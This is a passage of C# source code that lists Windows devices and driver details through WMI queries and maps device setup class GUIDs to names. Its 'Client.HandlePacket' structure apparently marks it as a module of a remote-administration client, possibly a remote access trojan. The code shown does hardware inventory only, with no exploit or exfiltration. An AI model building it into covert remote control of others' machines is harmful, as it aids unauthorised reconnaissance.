||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal static class HandleDevice
|
||||
{
|
||||
public class DeviceInfo
|
||||
{
|
||||
public string Name { get; set; }
|
||||
public string DeviceId { get; set; }
|
||||
public string Description { get; set; }
|
||||
public string Manufacturer { get; set; }
|
||||
public DeviceCategory Category { get; set; }
|
||||
public string CustomCategory { get; set; }
|
||||
public uint StatusCode { get; set; }
|
||||
public string HardwareId { get; set; }
|
||||
|
||||
public string DriverName { get; set; }
|
||||
public DateTime DriverBuildDate { get; set; }
|
||||
public string DriverDescription { get; set; }
|
||||
public string DriverVersion { get; set; }
|
||||
public string DriverProviderName { get; set; }
|
||||
public string DriverSigner { get; set; }
|
||||
public string DriverInfName { get; set; }
|
||||
}
|
||||
|
||||
public class DeviceCategoryGuidAttribute : Attribute
|
||||
{
|
||||
public DeviceCategoryGuidAttribute(Guid guid)
|
||||
{
|
||||
Guid = guid;
|
||||
}
|
||||
|
||||
public DeviceCategoryGuidAttribute(string guid)
|
||||
{
|
||||
Guid = new Guid(guid);
|
||||
}
|
||||
|
||||
public Guid Guid { get; }
|
||||
}
|
||||
|
||||
public class DeviceCategoryDisplayNameAttribute : Attribute
|
||||
{
|
||||
public DeviceCategoryDisplayNameAttribute(string displayName)
|
||||
{
|
||||
DisplayName = displayName;
|
||||
}
|
||||
|
||||
public string DisplayName { get; set; }
|
||||
}
|
||||
|
||||
public enum DeviceCategory
|
||||
{
|
||||
[DeviceCategoryGuid("00000000-0000-0000-0000-000000000000")]
|
||||
None,
|
||||
|
||||
//https://msdn.microsoft.com/en-us/library/ff553426%28VS.85%29.aspx
|
||||
/// <summary>
|
||||
/// Name = Battery Devices, Class = Battery
|
||||
/// This class includes battery devices and UPS devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Battery Devices")]
|
||||
[DeviceCategoryGuid("{72631e54-78a4-11d0-bcf7-00aa00b7b32a}")]
|
||||
BatteryDevices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Biometric Device, Class = Biometric
|
||||
/// (Windows Server 2003 and later versions of Windows) This class includes all biometric-based personal identification
|
||||
/// devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Biometric Device")]
|
||||
[DeviceCategoryGuid("{53D29EF7-377C-4D14-864B-EB3A85769359}")]
|
||||
BiometricDevice,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Bluetooth Devices, Class = Bluetooth
|
||||
/// (Windows XP SP1 and later versions of Windows) This class includes all Bluetooth devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Bluetooth Devices")]
|
||||
[DeviceCategoryGuid("{e0cbf06c-cd8b-4647-bb8a-263b43f0f974}")]
|
||||
BluetoothDevices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = CD-ROM Drives, Class = CDROM
|
||||
/// This class includes CD-ROM drives, including SCSI CD-ROM drives. By default, the system's CD-ROM class installer
|
||||
/// also installs a system-supplied CD audio driver and CD-ROM changer driver as Plug and Play filters.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("CD-ROM Drives")] [DeviceCategoryGuid("{4d36e965-e325-11ce-bfc1-08002be10318}")]
|
||||
CDROMDrives,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Disk Drives, Class = DiskDrive
|
||||
/// This class includes hard disk drives. See also the HDC and SCSIAdapter classes.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Disk Drives")] [DeviceCategoryGuid("{4d36e967-e325-11ce-bfc1-08002be10318}")]
|
||||
DiskDrives,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Display Adapters, Class = Display
|
||||
/// This class includes video adapters. Drivers for this class include display drivers and video miniport drivers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Display Adapters")]
|
||||
[DeviceCategoryGuid("{4d36e968-e325-11ce-bfc1-08002be10318}")]
|
||||
DisplayAdapters,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Floppy Disk Controllers, Class = FDC
|
||||
/// This class includes floppy disk drive controllers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Floppy Disk Controllers")]
|
||||
[DeviceCategoryGuid("{4d36e969-e325-11ce-bfc1-08002be10318}")]
|
||||
FloppyDiskControllers,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Global Positioning System/Global Navigation Satellite System, Class = GPS
|
||||
/// This class includes GNSS devices that use the Universal Windows driver model introduced in Windows 10.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Global Positioning System/Global Navigation Satellite System")]
|
||||
[DeviceCategoryGuid("{6bdd1fc3-810f-11d0-bec7-08002be2092f}")]
|
||||
GlobalPositioningSystem_GlobalNavigationSatelliteSystem,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Hard Disk Controllers, Class = HDC
|
||||
/// This class includes hard disk controllers, including ATA/ATAPI controllers but not SCSI and RAID disk controllers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Hard Disk Controllers")]
|
||||
[DeviceCategoryGuid("{4d36e96a-e325-11ce-bfc1-08002be10318}")]
|
||||
HardDiskControllers,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Human Interface Devices (HID), Class = HIDClass
|
||||
/// This class includes interactive input devices that are operated by the system-supplied HID class driver. This
|
||||
/// includes USB devices that comply with the USB HID Standard and non-USB devices that use a HID minidriver. For more
|
||||
/// information, see HIDClass Device Setup Class. (See also the Keyboard or Mouse classes later in this list.)
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Human Interface Devices (HID)")]
|
||||
[DeviceCategoryGuid("{745a17a0-74d3-11d0-b6fe-00a0c90f57da}")]
|
||||
HumanInterfaceDevicesHID,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IEEE 1284.4 Devices, Class = Dot4
|
||||
/// This class includes devices that control the operation of multifunction IEEE 1284.4 peripheral devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IEEE 1284.4 Devices")]
|
||||
[DeviceCategoryGuid("{48721b56-6795-11d2-b1a8-0080c72e74a2}")]
|
||||
IEEE1284_4Devices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IEEE 1284.4 Print Functions, Class = Dot4Print
|
||||
/// This class includes Dot4 print functions. A Dot4 print function is a function on a Dot4 device and has a single
|
||||
/// child device, which is a member of the Printer device setup class.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IEEE 1284.4 Print Functions")]
|
||||
[DeviceCategoryGuid("{49ce6ac8-6f86-11d2-b1e5-0080c72e74a2}")]
|
||||
IEEE1284_4PrintFunctions,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IEEE 1394 Devices That Support the 61883 Protocol, Class = 61883
|
||||
/// This class includes IEEE 1394 devices that support the IEC-61883 protocol device class.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IEEE 1394 Devices That Support the 61883 Protocol")]
|
||||
[DeviceCategoryGuid("{7ebefbc0-3200-11d2-b4c2-00a0C9697d07}")]
|
||||
IEEE1394DevicesThatSupportthe61883Protocol,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IEEE 1394 Devices That Support the AVC Protocol, Class = AVC
|
||||
/// This class includes IEEE 1394 devices that support the AVC protocol device class.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IEEE 1394 Devices That Support the AVC Protocol")]
|
||||
[DeviceCategoryGuid("{c06ff265-ae09-48f0-812c-16753d7cba83}")]
|
||||
IEEE1394DevicesThatSupporttheAVCProtocol,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IEEE 1394 Devices That Support the SBP2 Protocol, Class = SBP2
|
||||
/// This class includes IEEE 1394 devices that support the SBP2 protocol device class.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IEEE 1394 Devices That Support the SBP2 Protocol")]
|
||||
[DeviceCategoryGuid("{d48179be-ec20-11d1-b6b8-00c04fa372a7}")]
|
||||
IEEE1394DevicesThatSupporttheSBP2Protocol,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IEEE 1394 Host Bus Controller, Class = 1394
|
||||
/// This class includes 1394 host controllers connected on a PCI bus, but not 1394 peripherals. Drivers for this class
|
||||
/// are system-supplied.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IEEE 1394 Host Bus Controller")]
|
||||
[DeviceCategoryGuid("{6bdd1fc1-810f-11d0-bec7-08002be2092f}")]
|
||||
IEEE1394HostBusController,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Imaging Device, Class = Image
|
||||
/// This class includes still-image capture devices, digital cameras, and scanners.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Imaging Device")] [DeviceCategoryGuid("{6bdd1fc6-810f-11d0-bec7-08002be2092f}")]
|
||||
ImagingDevice,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IrDA Devices, Class = Infrared
|
||||
/// This class includes infrared devices. Drivers for this class include Serial-IR and Fast-IR NDIS miniports, but see
|
||||
/// also the Network Adapter class for other NDIS network adapter miniports.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IrDA Devices")] [DeviceCategoryGuid("{6bdd1fc5-810f-11d0-bec7-08002be2092f}")]
|
||||
IrDADevices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Keyboard, Class = Keyboard
|
||||
/// This class includes all keyboards. That is, it must also be specified in the (secondary) INF for an enumerated
|
||||
/// child HID keyboard device.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Keyboard")] [DeviceCategoryGuid("{4d36e96b-e325-11ce-bfc1-08002be10318}")]
|
||||
Keyboard,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Media Changers, Class = MediumChanger
|
||||
/// This class includes SCSI media changer devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Media Changers")] [DeviceCategoryGuid("{ce5939ae-ebde-11d0-b181-0000f8753ec4}")]
|
||||
MediaChangers,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Memory Technology Driver, Class = MTD
|
||||
/// This class includes memory devices, such as flash memory cards.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Memory Technology Driver")]
|
||||
[DeviceCategoryGuid("{4d36e970-e325-11ce-bfc1-08002be10318}")]
|
||||
MemoryTechnologyDriver,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Modem, Class = Modem
|
||||
/// This class includes modem devices. An INF file for a device of this class specifies the features and configuration
|
||||
/// of the device and stores this information in the registry. An INF file for a device of this class can also be used
|
||||
/// to install device drivers for a controllerless modem or a software modem. These devices split the functionality
|
||||
/// between the modem device and the device driver. For more information about modem INF files and Microsoft Windows
|
||||
/// Driver Model (WDM) modem devices, see Overview of Modem INF Files and Adding WDM Modem Support.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Modem")] [DeviceCategoryGuid("{4d36e96d-e325-11ce-bfc1-08002be10318}")]
|
||||
Modem,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Monitor, Class = Monitor
|
||||
/// This class includes display monitors. An INF for a device of this class installs no device driver(s), but instead
|
||||
/// specifies the features of a particular monitor to be stored in the registry for use by drivers of video adapters.
|
||||
/// (Monitors are enumerated as the child devices of display adapters.)
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Monitor")] [DeviceCategoryGuid("{4d36e96e-e325-11ce-bfc1-08002be10318}")]
|
||||
Monitor,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Mouse, Class = Mouse
|
||||
/// This class includes all mouse devices and other kinds of pointing devices, such as trackballs. That is, this class
|
||||
/// must also be specified in the (secondary) INF for an enumerated child HID mouse device.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Mouse")] [DeviceCategoryGuid("{4d36e96f-e325-11ce-bfc1-08002be10318}")]
|
||||
Mouse,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Multifunction Devices, Class = Multifunction
|
||||
/// This class includes combo cards, such as a PCMCIA modem and netcard adapter. The driver for such a Plug and Play
|
||||
/// multifunction device is installed under this class and enumerates the modem and netcard separately as its child
|
||||
/// devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Multifunction Devices")]
|
||||
[DeviceCategoryGuid("{4d36e971-e325-11ce-bfc1-08002be10318}")]
|
||||
MultifunctionDevices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Multimedia, Class = Media
|
||||
/// This class includes Audio and DVD multimedia devices, joystick ports, and full-motion video capture devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Multimedia")] [DeviceCategoryGuid("{4d36e96c-e325-11ce-bfc1-08002be10318}")]
|
||||
Multimedia,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Multiport Serial Adapters, Class = MultiportSerial
|
||||
/// This class includes intelligent multiport serial cards, but not peripheral devices that connect to its ports. It
|
||||
/// does not include unintelligent (16550-type) multiport serial controllers or single-port serial controllers (see the
|
||||
/// Ports class).
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Multiport Serial Adapters")]
|
||||
[DeviceCategoryGuid("{50906cb8-ba12-11d1-bf5d-0000f805f530}")]
|
||||
MultiportSerialAdapters,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Network Adapter, Class = Net
|
||||
/// This class includes NDIS miniport drivers excluding Fast-IR miniport drivers, NDIS intermediate drivers (of virtual
|
||||
/// adapters), and CoNDIS MCM miniport drivers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Network Adapter")]
|
||||
[DeviceCategoryGuid("{4d36e972-e325-11ce-bfc1-08002be10318}")]
|
||||
NetworkAdapter,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Network Client, Class = NetClient
|
||||
/// This class includes network and/or print providers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Network Client")] [DeviceCategoryGuid("{4d36e973-e325-11ce-bfc1-08002be10318}")]
|
||||
NetworkClient,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Network Service, Class = NetService
|
||||
/// This class includes network services, such as redirectors and servers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Network Service")]
|
||||
[DeviceCategoryGuid("{4d36e974-e325-11ce-bfc1-08002be10318}")]
|
||||
NetworkService,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Network Transport, Class = NetTrans
|
||||
/// This class includes NDIS protocols CoNDIS stand-alone call managers, and CoNDIS clients, in addition to higher
|
||||
/// level drivers in transport stacks.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Network Transport")]
|
||||
[DeviceCategoryGuid("{4d36e975-e325-11ce-bfc1-08002be10318}")]
|
||||
NetworkTransport,
|
||||
|
||||
/// <summary>
|
||||
/// Name = PCI SSL Accelerator, Class = SecurityAccelerator
|
||||
/// This class includes devices that accelerate secure socket layer (SSL) cryptographic processing.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("PCI SSL Accelerator")]
|
||||
[DeviceCategoryGuid("{268c95a1-edfe-11d3-95c3-0010dc4050a5}")]
|
||||
PCISSLAccelerator,
|
||||
|
||||
/// <summary>
|
||||
/// Name = PCMCIA Adapters, Class = PCMCIA
|
||||
/// This class includes PCMCIA and CardBus host controllers, but not PCMCIA or CardBus peripherals. Drivers for this
|
||||
/// class are system-supplied.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("PCMCIA Adapters")]
|
||||
[DeviceCategoryGuid("{4d36e977-e325-11ce-bfc1-08002be10318}")]
|
||||
PCMCIAAdapters,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Ports (COM & LPT ports), Class = Ports
|
||||
/// This class includes serial and parallel port devices. See also the MultiportSerial class.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Ports (COM & LPT ports)")]
|
||||
[DeviceCategoryGuid("{4d36e978-e325-11ce-bfc1-08002be10318}")]
|
||||
PortsCOM_LPTports,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Printers, Class = Printer
|
||||
/// This class includes printers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Printers")] [DeviceCategoryGuid("{4d36e979-e325-11ce-bfc1-08002be10318}")]
|
||||
Printers,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Printers, Bus-specific class drivers, Class = PNPPrinters
|
||||
/// This class includes SCSI/1394-enumerated printers. Drivers for this class provide printer communication for a
|
||||
/// specific bus.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Printers, Bus-specific class drivers")]
|
||||
[DeviceCategoryGuid("{4658ee7e-f050-11d1-b6bd-00c04fa372a7}")]
|
||||
Printers_BusSpecificClassDrivers,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Processors, Class = Processor
|
||||
/// This class includes processor types.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Processors")] [DeviceCategoryGuid("{50127dc3-0f36-415e-a6cc-4cb3be910b65}")]
|
||||
Processors,
|
||||
|
||||
/// <summary>
|
||||
/// Name = SCSI and RAID Controllers, Class = SCSIAdapter
|
||||
/// This class includes SCSI HBAs (Host Bus Adapters) and disk-array controllers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("SCSI and RAID Controllers")]
|
||||
[DeviceCategoryGuid("{4d36e97b-e325-11ce-bfc1-08002be10318}")]
|
||||
SCSIandRAIDControllers,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Sensors, Class = Sensor
|
||||
/// (Windows 7 and later versions of Windows) This class includes sensor and location devices, such as GPS devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Sensors")] [DeviceCategoryGuid("{5175d334-c371-4806-b3ba-71fd53c9258d}")]
|
||||
Sensors,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Smart Card Readers, Class = SmartCardReader
|
||||
/// This class includes smart card readers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Smart Card Readers")]
|
||||
[DeviceCategoryGuid("{50dd5230-ba8a-11d1-bf5d-0000f805f530}")]
|
||||
SmartCardReaders,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Storage Volumes, Class = Volume
|
||||
/// This class includes storage volumes as defined by the system-supplied logical volume manager and class drivers that
|
||||
/// create device objects to represent storage volumes, such as the system disk class driver.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Storage Volumes")]
|
||||
[DeviceCategoryGuid("{71a27cdd-812a-11d0-bec7-08002be2092f}")]
|
||||
StorageVolumes,
|
||||
|
||||
/// <summary>
|
||||
/// Name = System Devices, Class = System
|
||||
/// This class includes HALs, system buses, system bridges, the system ACPI driver, and the system volume manager
|
||||
/// driver.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("System Devices")] [DeviceCategoryGuid("{4d36e97d-e325-11ce-bfc1-08002be10318}")]
|
||||
SystemDevices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Tape Drives, Class = TapeDrive
|
||||
/// This class includes tape drives, including all tape miniclass drivers.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Tape Drives")] [DeviceCategoryGuid("{6d807884-7d21-11cf-801c-08002be10318}")]
|
||||
TapeDrives,
|
||||
|
||||
/// <summary>
|
||||
/// Name = USB Device, Class = USBDevice
|
||||
/// USBDevice includes all USB devices that do not belong to another class. This class is not used for USB host
|
||||
/// controllers and hubs.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("USB Device")] [DeviceCategoryGuid("{88BAE032-5A81-49f0-BC3D-A4FF138216D6}")]
|
||||
USBDevice,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Windows CE USB ActiveSync Devices, Class = WCEUSBS
|
||||
/// This class includes Windows CE ActiveSync devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Windows CE USB ActiveSync Devices")]
|
||||
[DeviceCategoryGuid("{25dbce51-6c8f-4a72-8a6d-b54c2b4fc835}")]
|
||||
WindowsCEUSBActiveSyncDevices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Windows Portable Devices (WPD), Class = WPD
|
||||
/// (Windows Vista and later versions of Windows) This class includes WPD devices.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Windows Portable Devices (WPD)")]
|
||||
[DeviceCategoryGuid("{eec5ad98-8080-425f-922a-dabf3de3f69a}")]
|
||||
WindowsPortableDevices_WPD,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Windows SideShow, Class = SideShow
|
||||
/// (Windows Vista and later versions of Windows) This class includes all devices that are compatible with Windows
|
||||
/// SideShow.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Windows SideShow")]
|
||||
[DeviceCategoryGuid("{997b5d8d-c442-4f2e-baf3-9c8e671e9e21}")]
|
||||
WindowsSideShow,
|
||||
|
||||
//=================== Custom IDs added by Sorzus =================== \\
|
||||
[DeviceCategoryDisplayName("Audio Endpoints")]
|
||||
[DeviceCategoryGuid("{c166523c-fe0c-4a94-a586-f1a80cfbbf3e}")]
|
||||
AudioEndpoint,
|
||||
|
||||
[DeviceCategoryDisplayName("Software Devices")]
|
||||
[DeviceCategoryGuid("{62f9c741-b25a-46ce-b54c-9bccce08b6f2}")]
|
||||
SoftwareDevices,
|
||||
|
||||
[DeviceCategoryDisplayName("Print Queue")] [DeviceCategoryGuid("{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}")]
|
||||
PrintQueue,
|
||||
|
||||
[DeviceCategoryDisplayName("VST Jungo")] [DeviceCategoryGuid("{88f671a5-f729-47b7-a055-a50c0eb8d6d1}")]
|
||||
VSTJungo,
|
||||
|
||||
[DeviceCategoryDisplayName("WSD Print Device")]
|
||||
[DeviceCategoryGuid("{c30ecea0-11ef-4ef9-b02e-6af81e6e65c0}")]
|
||||
WSDPrintDevice,
|
||||
|
||||
[DeviceCategoryDisplayName("Storage Devices")]
|
||||
[DeviceCategoryGuid("{5099944a-f6b9-4057-a056-8c550228544c}")]
|
||||
StorageDevices,
|
||||
|
||||
//=================== Custom IDs added by Sorzus =================== \\
|
||||
//https://msdn.microsoft.com/en-us/library/windows/hardware/ff553428(v=vs.85).aspx
|
||||
/// <summary>
|
||||
/// Name = Adapter, Class = Adapter
|
||||
/// This class is obsolete.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Adapter")] [DeviceCategoryGuid("{4d36e964-e325-11ce-bfc1-08002be10318}")]
|
||||
Adapter,
|
||||
|
||||
/// <summary>
|
||||
/// Name = APM, Class = APMSupport
|
||||
/// This class is reserved for system use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("APM")] [DeviceCategoryGuid("{d45b1c18-c8fa-11d1-9f77-0000f805f530}")]
|
||||
APM,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Computer, Class = Computer
|
||||
/// This class is reserved for system use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Computer")] [DeviceCategoryGuid("{4d36e966-e325-11ce-bfc1-08002be10318}")]
|
||||
Computer,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Decoders, Class = Decoder
|
||||
/// This class is reserved for future use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Decoders")] [DeviceCategoryGuid("{6bdd1fc2-810f-11d0-bec7-08002be2092f}")]
|
||||
Decoders,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Host-side IEEE 1394 Kernel Debugger Support, Class = 1394Debug
|
||||
/// This class is reserved for system use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Host-side IEEE 1394 Kernel Debugger Support")]
|
||||
[DeviceCategoryGuid("{66f250d6-7801-4a64-b139-eea80a450b24}")]
|
||||
HostsideIEEE1394KernelDebuggerSupport,
|
||||
|
||||
/// <summary>
|
||||
/// Name = IEEE 1394 IP Network Enumerator, Class = Enum1394
|
||||
/// This class is reserved for system use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("IEEE 1394 IP Network Enumerator")]
|
||||
[DeviceCategoryGuid("{c459df55-db08-11d1-b009-00a0c9081ff6}")]
|
||||
IEEE1394IPNetworkEnumerator,
|
||||
|
||||
/// <summary>
|
||||
/// Name = No driver, Class = NoDriver
|
||||
/// This class is obsolete.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("No driver")] [DeviceCategoryGuid("{4d36e976-e325-11ce-bfc1-08002be10318}")]
|
||||
Nodriver,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Non-Plug and Play Drivers, Class = LegacyDriver
|
||||
/// This class is reserved for system use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Non-Plug and Play Drivers")]
|
||||
[DeviceCategoryGuid("{8ecc055d-047f-11d1-a537-0000f8753ed1}")]
|
||||
NonPlugandPlayDrivers,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Other Devices, Class = Unknown
|
||||
/// This class is reserved for system use. Enumerated devices for which the system cannot determine the type are
|
||||
/// installed under this class. Do not use this class if you are unsure in which class your device belongs. Either
|
||||
/// determine the correct device setup class or create a new class.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Other Devices")] [DeviceCategoryGuid("{4d36e97e-e325-11ce-bfc1-08002be10318}")]
|
||||
OtherDevices,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Printer Upgrade, Class = PrinterUpgrade
|
||||
/// This class is reserved for system use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Printer Upgrade")]
|
||||
[DeviceCategoryGuid("{4d36e97a-e325-11ce-bfc1-08002be10318}")]
|
||||
PrinterUpgrade,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Sound, Class = Sound
|
||||
/// This class is obsolete.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Sound")] [DeviceCategoryGuid("{4d36e97c-e325-11ce-bfc1-08002be10318}")]
|
||||
Sound,
|
||||
|
||||
/// <summary>
|
||||
/// Name = Storage Volume Snapshots, Class = VolumeSnapshot
|
||||
/// This class is reserved for system use.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("Storage Volume Snapshots")]
|
||||
[DeviceCategoryGuid("{533c5b84-ec70-11d2-9505-00c04F79deaf}")]
|
||||
StorageVolumeSnapshots,
|
||||
|
||||
/// <summary>
|
||||
/// Name = USB Bus Devices (hubs and host controllers), Class = USB
|
||||
/// This class includes USB host controllers and USB hubs, but not USB peripherals. Drivers for this class are
|
||||
/// system-supplied.
|
||||
/// </summary>
|
||||
[DeviceCategoryDisplayName("USB Bus Devices (hubs and host controllers)")]
|
||||
[DeviceCategoryGuid("{36fc9e60-c465-11cf-8056-444553540000}")]
|
||||
USBBusDevices_hubsandhostcontrollers
|
||||
}
|
||||
|
||||
public static void GetAllDevices()
|
||||
{
|
||||
var list = new List<DeviceInfo>();
|
||||
using (
|
||||
var searcher = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\CIMV2",
|
||||
"Select * from Win32_PnPEntity"))
|
||||
using (var collection = searcher.Get())
|
||||
{
|
||||
foreach (var managementObject in collection.Cast<ManagementObject>())
|
||||
{
|
||||
if (managementObject.TryGetProperty<string>("DeviceId") == @"HTREE\ROOT\0") continue;
|
||||
|
||||
var device = new DeviceInfo
|
||||
{
|
||||
Name = managementObject.TryGetProperty<string>("Caption"),
|
||||
DeviceId = managementObject.TryGetProperty<string>("DeviceId"),
|
||||
Description = managementObject.TryGetProperty<string>("Description"),
|
||||
Manufacturer = managementObject.TryGetProperty<string>("Manufacturer"),
|
||||
StatusCode = managementObject.TryGetProperty<uint>("ConfigManagerErrorCode")
|
||||
};
|
||||
var hardwareIds = managementObject.TryGetProperty<string[]>("HardWareID");
|
||||
if (hardwareIds?.Length > 0) device.HardwareId = hardwareIds[0];
|
||||
|
||||
list.Add(device);
|
||||
var classGuidString = managementObject.TryGetProperty<string>("ClassGuid");
|
||||
Guid classGuid;
|
||||
try
|
||||
{
|
||||
classGuid = new Guid(classGuidString);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
classGuid = Guid.Empty;
|
||||
}
|
||||
|
||||
device.Category = DeviceCategory.None;
|
||||
|
||||
foreach (var value in (DeviceCategory[]) Enum.GetValues(typeof(DeviceCategory)))
|
||||
if (value.GetAttributeOfType<DeviceCategoryGuidAttribute>().Guid == classGuid)
|
||||
{
|
||||
device.Category = value;
|
||||
break;
|
||||
}
|
||||
|
||||
if (device.Category == DeviceCategory.None)
|
||||
device.CustomCategory = managementObject.TryGetProperty<string>("PNPClass");
|
||||
}
|
||||
}
|
||||
|
||||
using (
|
||||
var searcher = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\CIMV2",
|
||||
"Select * from Win32_PnPSignedDriver"))
|
||||
using (var collection = searcher.Get())
|
||||
{
|
||||
foreach (var managementObject in collection.Cast<ManagementObject>())
|
||||
{
|
||||
var deviceId = managementObject.TryGetProperty<string>("DeviceID");
|
||||
var device = list.FirstOrDefault(x => x.DeviceId == deviceId);
|
||||
if (device != null)
|
||||
{
|
||||
var buildDate = managementObject.TryGetProperty<string>("DriverDate");
|
||||
if (buildDate != null)
|
||||
device.DriverBuildDate =
|
||||
(ManagementExtensions.ToDateTimeSafe(buildDate) ?? DateTime.MinValue).ToUniversalTime();
|
||||
|
||||
device.DriverDescription = managementObject.TryGetProperty<string>("Description");
|
||||
device.DriverName = managementObject.TryGetProperty<string>("DriverName");
|
||||
device.DriverProviderName = managementObject.TryGetProperty<string>("DriverProviderName");
|
||||
device.DriverSigner = managementObject.TryGetProperty<string>("Signer");
|
||||
device.DriverVersion = managementObject.TryGetProperty<string>("DriverVersion");
|
||||
